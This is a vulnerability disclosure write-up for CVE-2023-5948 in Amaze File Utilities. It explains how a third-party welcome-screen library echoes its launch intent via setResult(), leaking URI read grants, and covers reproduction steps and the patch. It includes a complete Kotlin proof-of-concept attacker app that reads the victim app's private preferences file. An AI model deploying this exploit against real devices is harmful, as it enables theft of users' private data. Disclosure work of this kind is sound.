CVE-2023-5948 — TeamAmaze · Amaze File Utilities
Theft of arbitrary files from a non-exported FileProvider via improper setResult() in a third-party welcome screen library.
This one is interesting because the vulnerable code isn’t in Amaze File Utilities at all — it’s in stephentuso/welcome-android, a third-party onboarding library the app uses for its first-launch welcome screen. The library’s WelcomeActivity passes getIntent() directly into setResult() inside onBackPressed(), without sanitizing the incoming intent. An attacker can exploit Android’s FLAG_GRANT_READ_URI_PERMISSION mechanism through this echo to read arbitrary files from Amaze File Utilities’ private storage.
Background
FLAG_GRANT_READ_URI_PERMISSION is an Android intent flag that grants the receiving app temporary read access to a specific content:// URI — the standard mechanism for one-shot file sharing between apps. What makes it subtle is that this grant can propagate through setResult(): if activity A starts activity B with FLAG_GRANT_READ_URI_PERMISSION on the intent, and B calls setResult(getIntent()) and finishes, the calling activity A gets back the intent with the permission grant still active and can open the URI.
An exported activity that blindly echoes its incoming intent via setResult(getIntent()) is therefore a privilege escalation primitive — whatever URI permission the attacker embedded in the launch intent gets handed back to them.
Root Cause Analysis
The inheritance chain:
// WelcomeScreen.kt — the exported activity (no custom onBackPressed)
class WelcomeScreen : WelcomePermissionScreen() { ... }
// WelcomePermissionScreen.kt — permission handling layer (no custom onBackPressed)
abstract class WelcomePermissionScreen : WelcomeActivity(), ... { ... }
Neither WelcomeScreen nor WelcomePermissionScreen overrides onBackPressed(). The third-party library’s implementation runs:
// WelcomeActivity.java (stephentuso/welcome-android)
// https://github.com/stephentuso/welcome-android/blob/07524dad/library/.../WelcomeActivity.java#L223
@Override
public void onBackPressed() {
setResult(RESULT_CANCELED, getIntent()); // echoes the incoming intent back to caller
finish();
}
The library was designed to return the result intent to whatever launched the welcome screen — a reasonable pattern in isolation. It doesn’t account for a malicious caller who crafted the launch intent to carry a URI permission grant.
Why this works:
- Attacker starts
WelcomeScreen(exported, no permission required) with:Intent.FLAG_GRANT_READ_URI_PERMISSIONsetintent.datapointing to acontent://URI inside Amaze File Utilities’ non-exported FileProvider
- User presses back →
onBackPressed()callssetResult(getIntent())— the original intent, including the flag and URI, is passed back - Attacker’s
onActivityResultreceives the intent with an active read grant on the targeted file - Attacker calls
contentResolver.openInputStream(data)and reads it
The non-exported provider is involved because Amaze File Utilities opens the URI on behalf of the incoming intent — using its own process permissions — and FLAG_GRANT_READ_URI_PERMISSION on that intent causes the system to propagate the access grant back to the caller via setResult.
Proof of Concept
The following malicious application exploits the vulnerability:
package amazefileutilities.pwned.by.avila
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.result.ActivityResultLauncher
import androidx.activity.result.contract.ActivityResultContracts
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val intent = Intent()
intent.setClassName(
"com.amaze.fileutilities",
"com.amaze.fileutilities.home_page.WelcomeScreen"
)
intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
intent.data = Uri.parse(
"content://com.amaze.fileutilities/storage_root/data/user/0/" +
"com.amaze.fileutilities/shared_prefs/com.amaze.fileutilities_preferences.xml"
)
val pwnResult: ActivityResultLauncher<Intent> =
registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
val data: Intent? = result.data
// flags == 1 means FLAG_GRANT_READ_URI_PERMISSION was preserved in setResult
if (data?.flags?.toString() == "1") {
val inputStream = data.data?.let { contentResolver.openInputStream(it) }
Log.d("AmazePwnDebug", inputStream!!.reader().readText())
}
}
pwnResult.launch(intent)
}
}
Reproduction steps:
- Install the malicious APK alongside Amaze File Utilities 1.87
- Launch the malicious app — it silently starts
WelcomeScreenin the background - When the WelcomeScreen appears, press back
- Check logcat —
com.amaze.fileutilities_preferences.xmlis printed in plaintext
Video demo: https://youtu.be/b5929AncGCk
The single back-press is the only user interaction needed — it can realistically happen during normal device use if the malicious app triggers the welcome screen at an opportune moment.
Impact
An attacker app can read arbitrary files from Amaze File Utilities’ private directory (/data/data/com.amaze.fileutilities/) using the non-exported content provider as a bridge. The root cause is in a third-party dependency — easy to miss in a code review focused on first-party code — and applies to any other app that ships the same version of the stephentuso/welcome-android library without overriding onBackPressed().
Patch Analysis
Fix commit 62d0220. The correct fix is to override onBackPressed() in WelcomeScreen or WelcomePermissionScreen and call setResult() with a fresh empty intent rather than getIntent() — discarding any attacker-controlled data from the launch intent before passing it back.
Timeline
| Date | Event |
|---|---|
| 2023-08-13 | Discovered and reported on huntr |
| 2023-09-21 | Validated by maintainer |
| 2023-11-03 | Fix submitted |